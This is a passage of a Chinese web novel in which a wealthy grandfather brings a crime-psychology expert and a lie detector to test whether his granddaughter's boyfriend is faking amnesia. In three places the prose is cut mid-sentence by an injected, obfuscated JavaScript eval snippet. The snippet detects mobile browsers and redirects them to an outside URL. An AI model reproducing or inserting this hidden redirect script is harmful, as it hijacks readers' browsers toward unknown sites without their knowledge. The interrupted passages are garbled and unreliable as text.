听到泽阿公的名字,祝莺来懊恼得直蹙眉。 霍延出车祸后被送到了协和急诊,而泽阿公的孙媳就是协和的医生。 千瞒万瞒,居然漏了这一茬儿。 至于苏姨,她跟霍延家的保姆梁姨是老乡,两个人关系一直不错。 “霍延谁都没忘,偏忘记了你,这世界上哪有这么蹊跷的事情,他怕不是自己有了鬼心思,在这里借题发挥。” “还有你,鸟鸟,在外面受这么大委屈也不跟家里说,你是觉得姥爷老了,已经不能保护你了吗?” 祝莺来连忙摇头:“怎么会,我没这么想。” 祝烈义追问:“那为什么不说?” “我……”祝莺来支支吾吾,不知道该怎么回答。 自己跟前儿长大的孩子,心里有什么小九九,祝烈义哪能看不出来。 “怕姥爷迁怒于霍延,棒打鸳鸯拆散你们吗?” 祝莺来无法否认,她试着转移话题:“姥爷你说蹊跷是什么意思?难道阿延的车祸不是意外而是人为吗?” “我不是这个意思。” 祝烈义的两道剑眉浓密有型,眉梢带着不容置疑的威严,深邃的眼眸犹如寒潭:“霍延真的失忆了吗?” 祝莺来“嗯”了一声,不疑有他:“真的,关于我的事情他一件都不记得了,现在还特别讨厌我,完全变了一个人……” 祝烈义缓缓开口:“鸟鸟,如果我有心,我也可以做到这种程度,忘记你是我的外孙女。” 祝莺来微怔。 “明白我的意思了吗?”祝烈义微微眯起那双锐利的眼睛,眼底透着冷意,“忘记谁,是不是真的忘记,全凭当事人的一张嘴。” “你永远叫不醒一个装睡的人。” 祝烈义的话像是一记重锤击打在祝莺来的心上。 大脑经过短暂的空白。 霍延不可能做出假装失忆这种事——祝莺来差点脱口而出这么一句。 话到嘴边,祝莺来脑海中倏地闪过霍延出车祸前一晚她收到的匿名照片。 她还没来得及当面问一问霍延,他就出事了。 怀疑的种子没有得到妥善处理,不知不觉已经在心里生根发芽,直到此刻忽然想起才注意到它的存在。 祝莺来异样的神色没有逃过祝烈义的眼睛。 祝烈义看着祝莺来:“霍延出事前你们之间是不是发生过什么?” 祝莺来抿抿唇,没全说,却也没隐瞒:“……我还没来得及确认。” 祝烈义看她像是有难言之隐,没深问,只拍了拍祝莺来的肩膀。 老人大拇指上质地通透的玉扳指在灯光下折射出温润的光芒,低沉稳重的声音好似坚固的靠山。 “没关系,万事有姥爷。” “走,先吃饭,我让厨师把带过来的鱼蟹都做了。” 纳塔拉亚是一个环海的岛国,不止煤矿,海产也丰富。 祝莺来爱吃海鲜,祝烈义每次来北京都会用自己的私人飞机给她装当天捕捞的应季海产,海产来源于自家名下的私人海域,干净无污染。 纳塔拉亚首都雅瓦纳直飞北京就六个小时,私飞上冷藏室设备是最新最好的,从雅瓦纳坐私飞运过来的海产比在附近商超买的还新鲜。 这些海鲜到家之后再经过专业厨师的烹饪,最后做成祝莺来爱吃的口味和菜式。 爷孙俩在餐厅就坐,动了两筷子,祝莺来忍不住问:“姥爷,你专门飞一趟就是为了跟我确认阿延失忆的事情是否属实吗?” 祝烈义把剥好的整根蟹腿放在祝莺来的餐碟里,“嗯”了一声,拿起旁边的温热毛巾擦手。 “那你什么时候回雅瓦纳?”祝莺来眼巴巴望着祝烈义,“不会陪我吃完午饭就回去了吧。” 祝烈义不喜欢北京的气候,尤其是冬天。 女儿女婿去世后,祝烈义搬到北京住了三年,陪外孙女读完了高中。 等她上大学,祝烈义就搬回雅瓦纳了,时不时来北京看她,如果没别的事情,留宿一晚就返程。 祝莺来是个恋家的孩子,尤其是双亲不在以后,他们爷孙俩颇有种相依为命的意思,彼此是对方唯一的亲人。 这半个月因为霍延失忆的事情,祝莺来一直思绪烦乱,今天祝烈义一来,她心里一下子有了主心骨,对亲人依赖情绪也被勾了上来,变得有些黏人。 祝烈义递给祝莺来一个安心的眼神:“不会,这次多待两天。” 祝莺来闻言立刻喜笑颜开:“姥爷真好!” “也不全是陪你,还有事情要办。”祝烈义笑了笑,话里有话。 祝莺来怔怔:“什么事?” “先吃饭。”祝烈义盛了一碗花胶羹放在祝莺来手边,“趁热吃,凉了腥。” 这是不吃完饭不打算说的意思了。 “好吧。”祝莺来拿起勺子。 吃过午饭,祝烈义给秘书打了个电话,让他把人带进来。 过了两三分钟,秘书领着一个中年男人走进客厅。 男人一看就是纳塔拉亚人,棕褐色皮肤,嘴唇略厚,高挺的鼻梁上架着一副金边眼镜,体型偏瘦,有种资深学者的气质。 “祝董。”男人站定后,礼貌地跟祝烈山问好,会说字正腔圆的中文。 祝烈山微微颔首,给祝莺来介绍:“这是卡利姆,我从纳塔拉亚警署请来的犯罪心理专家。” 卡利姆看向祝莺来:“祝小姐,你好。” “你好。”祝莺来云里雾里跟人打完招呼,问祝烈义,“姥爷,你这是唱哪出?” “卡利姆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598362|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团队去年研发了最新一代的测谎仪,现在已经通过了国家的警务适用性测试,具备安全性和准确性。” 祝烈义看向祝莺来:“霍延是不是真的失忆,让卡利姆用机器测一测就能真相大白了。” 祝莺来沉默了好一会儿,最后点了头,没有反对,只问了一句:“霍延家同意了吗?” 祝烈义:“你的意见最重要。” “他们不同意怎么办?” “我会让他们同意。” “……” 祝烈义收起对外人的强势,轻声对祝莺来说:“去收拾一下,我们一会儿就去霍延家。” 祝莺来面露无措:“今天就测吗?” “嗯,省得夜长梦多。”祝烈义重心长地提醒她,“鸟鸟,大事上当断不断,必受其乱。” 祝莺来心口发紧,但没退缩,轻“嗯”一声,同意了。 她正要上楼拿包,家里门铃响了。 祝烈义神色疑惑,问祝莺来:“乖宝,你今天约了客人来家里?” 祝莺来后知后觉想起来下午要陪霍斯也去买裤子,她看了眼客厅挂钟,一分不差,正好13点。 ……太准时了这也。 祝莺来跟祝烈义简单解释了缘由,霍斯也从院门进了客厅。 他走进来的时候空气中多了一丝甘冽的木质香,像阴天的冷杉,混着似有若无的烟草味。 霍斯也看见祝烈义微怔了怔,随后走上前,礼貌打招呼:“祝伯伯,您来北京了,好久不见。” “好久不见,斯也。” 祝烈义刚听完祝莺来说昨天的事情,爱屋及乌,对给自己宝贝孙女解围的人,他不会吝啬好脸色:“鸟鸟跟我说了,她跟你有约,可惜不巧,现在我们有急事得去霍延家一趟。” “斯也,你们改天再约时间吧,或者我派个人陪你去买,喜欢什么就买什么,记我账上。” 霍斯也表示理解:“没关系,你们有急事先去忙,我和鸟鸟改期就行。” 祝烈义:“好。” 祝莺来对失约这件事有些不好意思,她把霍斯也叫到一边商量:“要不我还是给你转账好了,省得你白跑一趟。” 霍斯也当即拒绝:“不用,我们另约时间。” 祝莺来不知道霍斯也这个大忙人为什么这么执着于一起去店里挑。 算了。 不理解但尊重。 “好吧。”祝莺来还是解释了一嘴,“我姥爷突然回来的,如果我昨天知道就不跟你约今天了,不是有意爽约的。” 霍斯也:“我没误会,不用解释。” 祝莺来“噢”了一声,感觉没什么跟霍斯也说的了,上楼拿包去了。 霍斯也没有再继续待下去的理由,他正要跟祝烈义告辞,结果祝烈义先一步开口问起:“斯也,你父母在北京吗?” “不在。”霍斯也笑了笑,“您知道我妈那个人,在家待不住,前阵子跟我爸包游轮去南极看企鹅了,下个月才返京。” 祝烈义若有所思。 霍斯也主动问:“您有事找他们吗?” “也不一定要他们。”祝烈义看着霍斯也,“你下午有事吗?” 霍斯也很上道:“没有安排。” 祝烈义敲定了主意:“那你跟我们一起去一趟,正好做个见证。” 5. 第 5 章 祝莺来回楼上的衣帽间挑了一个包,顺便补了个口红。 她刚把口红放进包里,手机就进来一条微信。 备注是姥爷。 [我们先去车库了,乖宝你收拾好直接来车库] 我们? 祝莺来疑惑了一瞬,转念想到那个叫卡利姆的专家,神色了然。 她敲字回复:[好,我这就过来] 姥爷:[ok/emoji] 祝莺来坐电梯去地下车库。 从电梯出来,一眼扫过去,车库里除了他们自家的车,还有一辆黑红跑车,京A连号车牌。 霍斯也居然还没走? 祝莺来心里惊讶,当然也不好凑上去问一嘴,搞得跟赶客一样。 她收回视线,坐上了祝烈义的车。 车门一关就听见祝烈义说:“霍斯也跟我们一起去,他的身份做个见证人正合适。” 祝莺来怔了怔,很快明白祝烈义的深意。 不过:“霍斯也愿意介入这桩闲事?” 祝烈义轻呵一声,心如明镜:“他怎么会不愿意,霍家两派现在斗得跟乌眼鸡似的,再细微的小事也可能成为重伤对方的利刃。” “也是。”祝莺来系上安全带,似笑非笑评价老爷子,“姥爷你心眼可真多。” 祝烈义吩咐司机开车,装傻:“我怎么了?” 祝莺来跟他挑明:“让霍斯也介入这件事,摆在他面前就两个选择,要么帮我们家,要么帮霍延家。” “霍家两派水火不容,霍斯也绝对不可能倒戈霍延家,像你说的,只要这件事在他那里有运作的价值,他就算昧着良心也会帮我们家。” 祝烈义笑了笑:“万一那小子中立谁也不帮,这不就是第三个选择了。” “不可能。”祝莺来一口否认。 “为什么?” “对其他人可能可以,只要霍氏集团不倒,对霍延家,霍斯也只有对立没有中立。” 祝莺来停顿片刻,淡声说:“姥爷难道忘了吗,他十四岁就是一个可以为了自家利益枉顾人命的狠角色了。” 霍斯也十四岁那年,霍氏集团还是老董事长掌权,霍斯也的父亲和霍延的父亲是最有希望继任董事长的人选。 当时正值金融危机,诸多企业都在求稳,老董事长却在危机中看见了商机。 他想收购那时候还属于某国有机床研究所的地块,约7.6公顷,政府报价15个亿。 老董事长把这个收购案同时交给幼子和长孙负责,谁能用更低的价格拿下那个地块,谁就是下一任董事长。 两个人为这个收购案忙前忙后。 半年过去,圈内都在传那块地就要被霍延的父亲用13亿拿下了。 也就是这个节骨眼,霍斯也干了一件让所有人大跌眼镜的事情。 霍家上下都知道,霍延小时候被蛇咬过,最怕蛇。 霍斯也正正相反,他喜欢玩蛇。 他那段时间不定期、不分场合往霍延身边放蛇,不管霍延家里怎么防范都没用,总能被他找到机会。 书包里,床上,课桌,衣柜……所有想得到和想不到的地方都被他放了个遍,霍延接二连三遭受惊吓,后来看见数据线都尖叫,ptsd症状加重,整夜做噩梦,连学都上不了。 而霍斯也做一切的目的就一个——逼霍延的父亲退出收购案。 否则他会一直折磨霍延,直到他精神崩溃为止。 她曾无意间在学校撞见过霍斯也往霍延的储物柜里放蛇。 那次她为霍延忿忿不平,质问过霍斯也:“你为什么要因为大人的事情迁怒阿延?他已经被你吓得天天做噩梦了,你心眼怎么这么坏啊!” 少年穿着校服的白衬衣,领口系一条黑色领带,袖口随意卷了几圈,腕骨突出,手臂线条流畅紧实,青筋沿着小臂蜿蜒向上。 走廊窗户的风吹动他的衬衣下摆,胸前的领带轻晃,那条用来吓霍延的蛇乖乖盘踞在他手臂上。 他迎上她的目光,不闪不躲,没有任何慌乱,平静得像一副风格阴郁的油画。 蛇听见她的声音,转过头看着她,双眼闪着幽绿的光,分叉的蛇信迅速吞吐,发出 “嘶嘶” 的声响。 她吓得连退好几步,脸色变得煞白。 霍斯也瞥向手臂上的蛇,目光紧紧锁住那双闪着幽光的蛇眼。 几秒的无声对视,蛇就垂下了高昂的头颅,蛇信不再像刚才那样凶狠地快速吞吐。 它放弃攻击姿态,乖乖盘绕在霍斯也手臂上,像个任人摆布的死物。 那是她第一次在动物身上感受到对人类的屈服,也是她第一次对霍斯也产生畏惧感。 她甚至觉得,跟蛇比起来,霍斯也更像冷血动物。 霍斯也站在原地冲她勾了勾唇,笑着说:“他哪里是被我吓的,分明是他爸迟迟不肯放弃那块地,公主你应该去指责你们阿延那位狠心的父亲才对。” 她只从霍斯也的笑容里感受到了狠绝和寒意。 “……为什么?”她不理解他的行为,也很怕他,鼓起勇气问,“阿延是无辜的,大人的事情自有大人处理,你为什么非要针对阿延?” 霍斯也脸上的笑意一瞬间散去:“他是无辜的?那别人就是活该吗?” 她一头雾水:“别人?什么别人?” 霍斯也没有再理她,转身离开了。 然后那天下午,那条蛇出现在了接霍延放学的车里。 她的发现并没有制止霍斯也对霍延的精神施暴。 这场施暴最后以霍延的父亲退出收购案宣告结束。 过了没多久,霍斯也的父亲以12亿的价格拿下了那块地,成为霍氏集团的新一任董事长。 霍斯也因此一战成名,十四岁就成了名流和商圈的狠角色,同时也背负了诸多骂名,但他本人从来没为自己解释过只言片语,不知道是无所谓这些骂名还是默认。 之后十几年他的所作所为,无一不在反复证明狠角色这三个字。 圈子里更有人私才调侃,说以后霍斯也他爸如果没选他做继承人,他怕是要弑父夺位,贻孝大方。 祝烈义见祝莺来又想起了小时候那些不愉快的事情,有意结束话题:“没关系,凭他再狠,只要没把刀尖对着我们就不是敌人。” 祝莺来心不在焉地“嗯”了一声。 昨天下过大雪,雪化路面结冰,车不好开,差不多两个小时才到霍延家。 算上霍斯也开的逐影,他们一行人一共五辆车,堪比一个小型车队,依次停在别墅前院。 祝烈义让秘书去敲门,秘书自报家门没两分钟,樊蕾亲自带着管家过来开了一侧院门。 一开门,樊蕾被眼前五辆车的阵仗吓了一跳。 不知道的估计以为他们家被hei社会上门要债了。 缓了几秒,樊蕾走到头车前,敲了敲右后排的车窗,微微弯腰朝里看,态度恭敬地问候:“祝董,这冰天雪地的,怎么还劳烦您亲自走一趟。” 车窗降下,祝烈义抬眸看向樊蕾,从樊蕾身上掠过的眼风比零下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598363|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷空气的寒意还重。 “霍延贵人多忘事,不知道还记不记得我这个老头子。” 霍延忘记的不只是祝莺来,跟她相关的人和事也都记忆模糊。 樊蕾听得后背发凉,当然不能如实回答不记得,赔着笑间接为儿子圆场:“瞧您说的哪里话,阿延他也不是有心的。” 祝烈义冷呵一声:“是不是有心的测一测才知道。” 樊蕾微怔:“测一测?测什么?” 祝烈义没直接回答,而是反问樊蕾:“霍夫人是打算在寒风中待客吗?” 樊蕾忙说:“抱歉。”然后吩咐管家,“把院门都打开,请祝董的车进去!” 管家低眉:“好的,夫人。” 随后,管家在门锁上操作了两下,另一侧的院门缓缓打开。 管家和樊蕾退到侧门边,让出道,方便祝烈义的车开进庭院。 车一辆一辆开进去,最后一辆是霍斯也的。 昨天霍斯也是怎么在自己家耍威风的,樊蕾可一点没忘。 祝烈义也就罢了,霍斯也这个早就撕破脸皮的人,无所谓得不得罪。 樊蕾走过去,明晃晃站在霍斯也的车前,拦着不让他再往前开。 霍斯也车窗都没降,只是冲樊蕾按了一声喇叭,催她让道。 樊蕾被霍斯也嚣张的气焰激怒,正要走过去跟他理论,这时,她手机响了。 来电人是祝烈义的秘书。 樊蕾回过头,疑惑地看向不远处的头车,不明白就隔着几步路的距离为什么还要打电话。 碍于祝烈义的面子,这个电话樊蕾只能接。 一接起来就听见祝烈义的秘书说:“霍夫人,霍总是祝董请过来的。” 话音落,秘书就把电话挂了,根本不需要樊蕾回话。 樊蕾用力捏紧手机,脸色越发难看。 霍斯也又按了一声喇叭。 这声喇叭在樊蕾听来不只是催促了,更是一种挑衅。 偏偏她还没有还手的余地。 樊蕾黑着脸给霍斯也让了道,气得双肩都在微微发抖,整个人别提多憋屈。 管家在旁边大气都不敢出,唯恐沦为炮灰。 樊蕾深呼两口气,让自己恢复冷静,眼前需要集中精力应付的是祝烈义,他这波突然造访绝不是什么好事。 不远处的祝烈义已经在下车了,总不好把这尊佛晾在那里。 一个祝莺来不算什么,但她背后是祝烈义把持的整个玄石矿业集团。 自家生意重心都在量子材料生产上,其中利润最高的是高纯度单晶石墨烯的生产线。 这条生产线最重要的原材料是钒铬鳞片石墨矿,而在纳塔拉亚境内,有这种石墨矿分布并且允许开采的矿场都姓祝。 这些年凭着他们两家的私交,祝家一直低于市场价给他们家供货。 祝家在纳塔拉亚还有自己的私人港口,以及特种矿产运输船队,石墨需要恒温恒湿海运,有祝家的船队保驾护航,每次进货除了价格优惠,还都能保证石墨的纯度。 这些是其他供货商都不能给他们的好处。 虽然很不想承认,但他们家的生意确实一直依仗着祝家才蒸蒸日上。 一边不愿受制于人,一边又没有更好的选择,利益至上,他们目前是绝对不能跟祝家交恶的。 樊蕾再不喜欢祝莺来也明白这个道理。 继续逗留在原地不去待客就是得罪人了,离开之前,樊蕾神色凝重命令管家:“马上给先生打电话,让他赶紧回家。” 6. 第 6 章 霍延的父亲霍时雍接到管家电话后,第一时间赶回了家。 一进家门,霍时雍就被玄关两侧站着的黑西装保镖吓了一跳。 两个保镖都肌肉健硕,人高马大立在那里,双脚稳稳分开,间距与肩同宽,目光锐利且警惕。 往客厅走,这样的保镖还有五个。 四个分别站在客厅的四个角上,剩下那个站在祝烈义坐的沙发旁,左手边是祝烈义,右手边是祝莺来。 霍时雍认识他。 他是这些保镖里资历最深、身手最好的,叫陈无。 陈无十几岁被祝烈义从雅瓦纳的地下黑拳市场赎出来,为祝家卖命至今,忠心耿耿,是最受祝烈义器重的心腹。 他儿子也是在祝家长大的,从小被当作祝莺来的左膀右臂培养。 去年祝莺来接手集团业务的时候,祝烈义把祝家的赌场生意交到了陈无儿子手上。 陈无虽然只是个保镖,职位不高,但是祝烈义的秘书都会尊称他一声陈叔。 沙发上坐的其他人除了樊蕾和霍斯也,还有两个不认识的外国佬。 明明是他的家,此刻倒像是成了祝烈义的主场。 霍时雍嘴唇紧抿,硬生生挤出一个笑容往前走:“冰天雪地路不好走,让祝董久等了。” 樊蕾一见丈夫终于赶回来了,忙站起来,心里顿时有了主心骨:“你回来了。” 霍时雍递给她一个安心的眼神,转而看向祝烈义,试探他的来意:“祝董是来看望阿延的吗?我先替阿延感谢祝董的厚意了。” 就算知道丈夫是在说场面话试探,樊蕾听了还是忍不住在心底冷笑了一声。 祝烈义从下车到进屋都没怎么说过话,霍延的房间就在楼上,他也没有要上楼看看的意思,这哪是来探病的,分明是借题发挥来找事的! 祝烈义没有跟霍时雍说场面话的必要,就像他没必要跟樊蕾一个当不了家做不了主的人表明自己的来意。 “不必言谢,我不是来看霍延的。”祝烈义轻呵一声,意有所指,“鸟鸟这半个月天天跑通州,霍延的病情如何,我不看也了解得差不多了。” 这句话犹如在霍时雍和樊蕾心上敲了一记警钟。 祝烈义了解的恐怕不只是霍延的病情。 “霍延失忆的事情太蹊跷了,我觉得有必要给他本人测谎,如果这里面没猫腻,全当这两个孩子运气不好,是老天爷存了心折腾他们,可如果有——” 说到这,祝烈义停了下来,目光犀利看着霍时雍和樊蕾,说话同样不留情面:“——我们祝家人丁单薄,但只要有我这个老头子在一天,我们家的孩子就不能被欺负。” 一听要给霍延测谎,霍时雍勉强维持的好脸色也崩盘了。 “测谎?祝董您什么意思?难不成阿延还能假装失忆骗人吗?我儿子绝不是这种人!” “那你儿子是哪种人?” 霍斯也慢条斯理接了霍时雍的话:“都说上梁不正下梁歪,堂哥你家这梁从没正过,霍延如果真是个高风亮节的君子……” 他看向祝烈义,笑眯眯提议:“祝伯伯,测谎结果要是证明失忆这事儿没猫腻,我都要怀疑霍延不是这家的孩子了。” “我看不如到时候再给霍延安排一个dna检测,一测到底,最后霍延洗清了嫌疑,还能寻个亲,岂不是两全其美。” “霍斯也!” 霍时雍一声怒吼,火气压了又压,停了停才说:“既然你是祝董请过来的,不看我们的面子,也该看看祝董的面子,说话留点口德。” 霍斯也听完反而看向祝烈义,突然对他道了个歉:“祝伯伯,对不起。” 祝烈义饶有意味“哦”了一声:“你道什么歉?” 霍斯也:“我堂哥未经您允许,擅自拿您当枪使,我为他的失礼向您道歉。” “霍斯也你胡说八道什么,谁拿祝董当枪使了!” 霍时雍被霍斯也的挑拨离间搞得一肚子火,硬着头皮看向祝烈义,正要解释就听见对方说:“不要紧。” “斯也,你是我请过来的,冲你的面子我也不会跟你堂哥计较这一次。” 霍时雍:“……” 这话说的,比扇了霍时雍一耳光还难受。 祝烈义拉回正题:“测谎的专家和设备我都带来了,斯也是我请来的见证人,除此之外,测谎会全程录像,结束后我们双方留底。” “没有异议我就让人上去安排了。” 说是这么说,话音一落,霍时雍就看见沙发上的两个外国佬站了起来,要跟祝烈义的秘书往楼上走。 这哪里是征询他们的意见,分明是通知! “等一下!” 霍时雍再忌惮祝烈义,底线频频被倾轧,此刻也忍不下去了。 他黑着脸表态:“祝董,这是我家,尊重是互相的,我们尊重您,您也该尊重我们才是。” “测谎的事情我不同意,我是阿延的父亲,我替他拒绝测谎。” “互相的?”祝烈义听到了一个好笑的字眼,反问霍时雍,“那利益这个东西该不该也是互相的?” 提到利益,霍时雍的底气瞬间下去了一大半。 “祝董,您误会了,我们没有……” 祝烈义根本没耐心听霍时雍说废话:“不测谎也可以,我们两家商业合作下个月就结束。” 霍时雍脸色发白,心慌地找补:“祝董,公私事一概而论是不是不太好……” “我们两家什么时候有过公事?” 祝烈义好笑地看着霍时雍:“霍延跟我外孙女关系好,前几年又成了她男朋友,同时霍延也是你们家的孩子,基于这些,我们两家才有所谓的商业合作。” “霍时雍,你也活了半辈子了,这点事都拎不清?” 樊蕾眼看丈夫被祝烈义一句一句训得跟孙子似的,病急乱投医,开始把矛头指向祝莺来。 她走到祝莺来身边蹲下,姿态看似放得极低,实则半胁迫半道德绑架。 樊蕾可怜兮兮地握住祝莺来的手:“鸟鸟,阿姨一直拿你当亲女儿,你和阿延从小一起长大,关系最好了,现在阿延出了意外,连你也不相信他了吗?” 一直沉默的祝莺来听到这话淡淡抬眸。 她抽出自己的手,睨了樊蕾一眼,暗讽:“我也是够孤陋寡闻的,竟然不知道樊阿姨成非遗传承人了。” 樊蕾听得一头雾水:“什么?” “川剧变脸的精髓都被你拿捏了,还不算非遗传承人吗?” 说完,祝莺来伸手抽了一张纸巾擦刚才被樊蕾握过的手,仿佛上面沾上了什么脏东西。 樊蕾:“……” 噗嗤。 霍斯也没有任何克制的意思,轻笑出声。 笑声被安静的气氛衬得格外明显,无声放大了樊蕾和霍时雍的难堪。 祝莺来站起身对祝烈义说:“姥爷,看样子他们不会同意测谎了,咱们也别强人所难,走吧。” 祝烈义全听外孙女的:“行,咱们走。” 主张测谎的都要走了,霍斯也这个被请来的见证人更没继续留下的理由。 他前一秒刚站起来,后一秒,楼梯转角就传来噔噔噔的高跟鞋脚步声。 脚步声伴随女人娇脆的嗓音:“梁姨,把我带来的中药热一下,阿延现在愿意喝了。” 话音落,女人看见客厅的人顿时愣在原地。 客厅的人对于女人的出现也很意外。 短暂的死寂。 沉默被霍斯也玩味的声音打破:“我堂侄艳福不浅啊,卧病在床也有佳人相伴。” “小叔误会了,我只是来看望阿延的。” 张思映迈下剩下的几阶楼梯,走到客厅,面对众人落落大方地笑道:“我听说阿延失忆的症状没有好转,特地找老中医开了方子,这不,刚才劝了他好久,他终于愿意试一试了。” 祝莺来正正站在霍斯也的余光里。 女孩的脸色冷得宛如极地冰川。 在张思映说完这些过后,冰川裂开了一道骇人的缝隙。 祝烈义看向霍时雍,眼神森寒:“这就是你拦着不让测谎的理由?” 霍时雍连忙解释:“祝董您想哪去了,思映跟阿延就是朋友。” 祝烈义已经下最后通牒了,面子尊严和家里的生意二选一,当然是后者要紧。 霍时雍接着说:“祝董执意要给阿延测谎,那就测吧,否则我这个做父亲怎么为儿子辩白都像包庇。” 祝烈义看了眼秘书,秘书会意,带着卡利姆和他的助理先上楼调试测谎设备了。 “你也上去搭把手。”霍时雍对樊蕾说。 美其名曰搭把手,实则是让她去给霍延通风报信。 樊蕾点点头,带着管家忙不迭跟了上去。 张思映一副懂事乖巧的模样,担忧地对霍时雍说:“霍叔叔,可以让阿延先喝药吗?药凉了效果就没那么好了。” 祝烈义本来不想搭理这个碍眼的人,偏她频频跳出来现眼,每句话还都在打外孙女的脸。 他忍不了一点,当即命令霍时雍:“我们两家的私事,闲杂人等别在这里掺和。” 霍时雍有心护张思映,无奈发话人是他现在不能忤逆的存在。 他正要劝张思映离开,祝莺来却抢了他的话,主动对祝烈义说:“姥爷,不用赶她走。” 祝烈义眉心微蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598364|171944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不愿意她受委屈:“鸟鸟。” 祝莺来对祝烈义露出一个安心的笑,转头看向张思映:“张小姐不是说了吗,劝了半天霍延终于愿意试一试中药了,何必半途而废呢。” 在场的人只有霍斯也和祝烈义敏锐地察觉到一个细节——祝莺来提起霍延时称呼上的变化。 不是从小叫到大的阿延,而是连名带姓的霍延。 张思映意外地看着祝莺来,仿佛从没认识过她一样。 这些年,祝莺来没少因为她父母去世的事情迁怒自己,哪里会像现在这样由着自己的想法,别说羞辱了,连为难都没有。 “梁姨,中药好了吗?”祝莺来转头问从厨房出来的梁姨。 梁姨战战兢兢地回答:“好、好了。” “盛一碗,让张小姐端上去。” 梁姨看向霍时雍,询问他的意思。 霍时雍“嗯”了一声:“还不快去。” “好。” 等梁姨盛好中药端出来,一行人一起上楼去霍延的房间。 祝家跟张家的恩怨,霍斯也是清楚的。 正因为清楚,祝莺来刚才没对张思映发难而是成全,才让霍斯也感到奇怪。 “你还好吗?”霍斯也有意放慢脚步,用只有他们两个人能听见的声音问祝莺来。 祝莺来的声音听不出情绪:“挺好的。” “我以为你会把中药泼在姓张的身上。”霍斯也顿了顿,补充道,“就像霍延昨天对你那样。” 祝莺来抬眸看他:“小叔在提醒我睚眦必报吗?” 霍斯也没否认:“不应该吗?” 祝莺来停了几秒,坚定回答:“该。” “我又不是忍者。” 霍斯也隐约感觉她有自己的安排,没有要给自己委屈受的意思,终于心安了。 他倏地一笑:“嗯,你不是。” “你是公主。” 祝莺来瞥了瞥他:“都说不要叫我公主了。” 霍斯也装聋,已读不回了。 一行人来到霍延的房间,卡利姆已经把调试好了测谎设备。 他对祝烈义说:“祝董,随时可以开始。” 来的路上,祝莺来已经了解过测谎的流程。 简单说就是问霍延问题。 询问过程中通过夹在霍延手上的感应设备实时检测他身体的各项数据,这些数据会经过科学算法给出实话或者谎话的答案。 按照原计划,是祝烈义来问霍延问题。 “姥爷。”祝莺来对祝烈义说,“我先问他几个问题,可以吗?” 祝烈义点头:“当然可以。” 樊蕾先他们几分钟上来,显然已经做过霍延的思想工作。 霍延没有拒绝,但脸色难看得不行,看祝莺来和祝烈义的眼神跟看仇人没两样。 失望累计多了,人原来是会麻木的。 祝莺来被霍延这么看着,感觉他们曾经那些朝夕相处的美好片段,不知不觉也变得遥远且模糊。 不过半个月的时间,祝莺来都有点想不起霍延爱她的样子了。 那场车祸的余威仿佛也在侵吞她的记忆。 祝莺来压下百感交集的情绪,淡声对张思映说:“中药给他喝。” 张思映猜不透祝莺来在打什么如意算盘,谨慎起见,冲她卖了个乖,主动把手里的托盘递给她:“你来吧。” 语气跟让给她似的,好像把药端给霍延喝是一种莫大的殊荣。 祝莺来冷呵一声,夹枪带棒地说:“不了,回头我这条裤子也成了中药碗的跳水大舞台。” 张思映:“?” 一抹浅笑从霍斯也眼底掠过。 霍延烦躁地打断他们:“行了!不是要测谎吗,赶紧测!” “不耽误,边喝边测。”祝莺来好笑地问,“你朋友说药凉了效果就没那么好了,她的一番好意难不成你也要辜负?” 霍延本来没有很想喝这个破中药,可是祝莺来一直说话激她,他还非喝不可了。 “当然不会,她又不是来路不明的女朋友。”霍延看向张思映,“给我。” 张思映上前两步,把托盘递给过去,还温声提醒:“小心烫。” 霍延伸出手拿中药碗。 同一时间,祝莺来质问霍延:“八年前,你这个朋友的舅舅是因为什么服刑坐牢,你还记得吗?” 砰! 张思映身体猛烈的颤抖了一下,手跟着晃,托盘没拿稳,连带着上面的中药碗一起摔在了地上。 滚烫的中药汤大部分都泼到了霍延和张思映的手。 两个人被烫得吃痛尖叫,声音贯穿在场每个人的耳膜。 7. 第 7 章 樊蕾见儿子的手被烫到,第一时间冲上去关心。 “阿延不要紧吧!让妈看看!” 同时着急忙慌命令佣人:“赶紧去取凉水来啊!” 房间的佣人忙做一团。 樊蕾本想数落张思映两句,话到嘴边,被丈夫瞪了一眼,硬生生憋了回去。 霍时雍吩咐梁姨:“带张小姐去处理一下。” “好的。”梁姨上前搀扶张思映。 张思映手背的皮肤被烫得通红一片,她吃痛地吸了吸鼻子,声音哽咽对霍时雍和樊蕾说:“对不起,叔叔阿姨,都怪我不小心。” 霍时雍勉强挤出一个笑:“先去处理一下手。” 张思映垂着头,委委屈屈地离开了房间。 等冷敷完,给霍延上完烫伤膏,已经是半小时之后了。 